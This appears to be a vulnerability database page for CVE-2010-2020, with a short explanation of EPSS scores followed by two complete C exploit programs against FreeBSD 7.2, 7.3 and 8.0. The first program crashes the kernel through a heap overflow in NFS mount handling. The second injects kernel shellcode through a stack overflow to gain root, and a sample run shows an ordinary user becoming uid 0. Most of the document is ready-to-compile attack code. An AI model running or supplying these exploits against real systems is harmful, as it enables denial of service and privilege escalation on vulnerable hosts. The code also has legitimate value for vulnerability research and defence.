CVE-2010-2020 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* * mountnfsex.c -- Patroklos Argyroudis, argp at domain census-labs.com * * Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2. * * Discovered and exploited by Patroklos (argp) Argyroudis. * * The vulnerability is in mountnfs() which is reachable by the mount(2) * and nmount(2) system calls. In order for them to be enabled for * unprivileged users the sysctl(8) variable vfs.usermount must be set to * a non-zero value. * * mountnfs() employs an insufficient input validation method for copying * data passed in the struct nfs_args from userspace to kernel. * Specifically, the file handle to be mounted (nfs_args.fh) and its size * (nfs_args.fhsize) are completely user-controllable. In file * sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE: * * 1219 bcopy((caddr_t)argp->fh, (caddr_t)nmp->nm_fh, argp->fhsize); * * The above can cause a kernel heap overflow when argp->fh is bigger than * 128 bytes (the size of nmp->nm_fh) since nmp is an allocated item on * the UMA zone nfsmount_zone (again from sys/nfsclient/nfs_vfsops.c): * * 1164 struct nfsmount *nmp; * ... * 1175 nmp = uma_zalloc(nfsmount_zone, M_WAITOK); * * The result is a kernel crash/denial-of-service. I have developed a code * execution/privilege escalation exploit, but I will not release it at this * point. 7.1-RELEASE and earlier do not seem to be vulnerable since the * bug was introduced in 7.2-RELEASE. * * $Id: mountnfsex.c,v c1302ea1317d 2010/05/23 17:30:17 argp $ */ #include <sys/param.h> #include <sys/mount.h> #include <sys/uio.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sysexits.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <errno.h> #define BUFSIZE 1024 #define FSNAME "nfs" #define DIRPATH "/tmp/nfs" int main() { struct iovec iov[8]; mkdir(DIRPATH, 0700); iov[0].iov_base = "fstype"; iov[0].iov_len = strlen(iov[0].iov_base) + 1; iov[1].iov_base = FSNAME; iov[1].iov_len = strlen(iov[1].iov_base) + 1; iov[2].iov_base = "fspath"; iov[2].iov_len = strlen(iov[2].iov_base) + 1; iov[3].iov_base = DIRPATH; iov[3].iov_len = strlen(iov[3].iov_base) + 1; iov[4].iov_base = "fh"; iov[4].iov_len = strlen(iov[4].iov_base) + 1; iov[5].iov_base = calloc(BUFSIZE, sizeof(char)); if(iov[5].iov_base == NULL) { perror("calloc"); rmdir(DIRPATH); exit(EXIT_FAILURE); } memset(iov[5].iov_base, 0x41, (BUFSIZE - 1)); iov[5].iov_len = BUFSIZE; iov[6].iov_base = "hostname"; iov[6].iov_len = strlen(iov[6].iov_base) + 1; iov[7].iov_base = "census-labs.com"; iov[7].iov_len = strlen(iov[7].iov_base) + 1; printf("[*] calling nmount()\n"); if(nmount(iov, 8, 0) < 0) { fprintf(stderr, "[!] nmount error: %d\n", errno); perror("nmount"); rmdir(DIRPATH); free(iov[5].iov_base); exit(1); } printf("[*] unmounting and deleting %s\n", DIRPATH); unmount(DIRPATH, 0); rmdir(DIRPATH); free(iov[5].iov_base); return 0; } /* EOF */

/* * nfs_mount_ex.c -- Patroklos Argyroudis, argp at domain census-labs.com * * Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2. * * FreeBSD 8.0-RELEASE: Local kernel crash/denial-of-service. * FreeBSD 7.3/7.2-RELEASE: Local privilege escalation. * * Discovered and exploited by Patroklos (argp) Argyroudis. * * The vulnerability is in nfs_mount() which is reachable by the mount(2) * and nmount(2) system calls. In order for them to be enabled for * unprivileged users the sysctl(8) variable vfs.usermount must be set to a * non-zero value. * * nfs_mount() employs an insufficient input validation method for copying * data passed in the struct nfs_args from userspace to kernel. * Specifically, the file handle to be mounted (nfs_args.fh) and its size * (nfs_args.fhsize) are completely user-controllable. In file * sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE: * * 1094 if (!has_fh_opt) { * 1095 error = copyin((caddr_t)args.fh, (caddr_t)nfh, * 1096 args.fhsize); * 1097 if (error) { * 1098 goto out; * 1099 } * * The above can cause a kernel stack overflow which leads to privilege * escalation in 7.3-RELEASE and 7.2-RELEASE, and a kernel crash / * denial-of-service in 8.0-RELEASE (due to SSP/ProPolice). 7.1-RELEASE * and earlier do not seem to be vulnerable since the bug was introduced in * 7.2-RELEASE. * * Sample run: * * [argp@julius ~]$ uname -rsi * FreeBSD 7.3-RELEASE GENERIC * [argp@julius ~]$ sysctl vfs.usermount * vfs.usermount: 1 * [argp@julius ~]$ id * uid=1001(argp) gid=1001(argp) groups=1001(argp) * [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex * [argp@julius ~]$ ./nfs_mount_ex * [*] calling nmount() * [!] nmount error: -1030740736 * nmount: Unknown error: -1030740736 * [argp@julius ~]$ id * uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp) * * $Id: nfs_mount_ex.c,v c1302ea1317d 2010/05/23 17:30:17 argp $ */ #include <sys/param.h> #include <sys/mount.h> #include <sys/uio.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sysexits.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <errno.h> #include <nfsclient/nfsargs.h> #define BUFSIZE 272 #define FSNAME "nfs" #define DIRPATH "/tmp/nfs" unsigned char kernelcode[] = "\x64\xa1\x00\x00\x00\x00" /* movl %fs:0, %eax */ "\x8b\x40\x04" /* movl 0x4(%eax), %eax */ "\x8b\x40\x30" /* movl 0x30(%eax),%eax */ "\x31\xc9" /* xorl %ecx, %ecx */ "\x89\x48\x04" /* movl %ecx, 0x4(%eax) */ "\x89\x48\x08" /* movl %ecx, 0x8(%eax) */ "\x81\xc4\xb0\x01\x00\x00" /* addl $0x1b0, %esp */ "\x5b" /* popl %ebx */ "\x5e" /* popl %esi */ "\x5f" /* popl %edi */ "\x5d" /* popl %ebp */ "\xc3"; /* ret */ int main() { char *ptr; long *lptr; struct nfs_args na; struct iovec iov[6]; na.version = 3; na.fh = calloc(BUFSIZE, sizeof(char)); if(na.fh == NULL) { perror("calloc"); exit(1); } memset(na.fh, 0x41, BUFSIZE); na.fhsize = BUFSIZE; ptr = (char *)na.fh; lptr = (long *)(na.fh + BUFSIZE - 8); *lptr++ = 0x12345678; /* saved %ebp */ *lptr++ = (u_long)ptr; /* saved %eip */ memcpy(ptr, kernelcode, (sizeof(kernelcode) - 1)); mkdir(DIRPATH, 0700); iov[0].iov_base = "fstype"; iov[0].iov_len = strlen(iov[0].iov_base) + 1; iov[1].iov_base = FSNAME; iov[1].iov_len = strlen(iov[1].iov_base) + 1; iov[2].iov_base = "fspath"; iov[2].iov_len = strlen(iov[2].iov_base) + 1; iov[3].iov_base = DIRPATH; iov[3].iov_len = strlen(iov[3].iov_base) + 1; iov[4].iov_base = "nfs_args"; iov[4].iov_len = strlen(iov[4].iov_base) + 1; iov[5].iov_base = &na; iov[5].iov_len = sizeof(na); printf("[*] calling nmount()\n"); if(nmount(iov, 6, 0) < 0) { fprintf(stderr, "[!] nmount error: %d\n", errno); perror("nmount"); rmdir(DIRPATH); free(na.fh); exit(1); } printf("[*] unmounting and deleting %s\n", DIRPATH); unmount(DIRPATH, 0); rmdir(DIRPATH); free(na.fh); return 0; } /* EOF */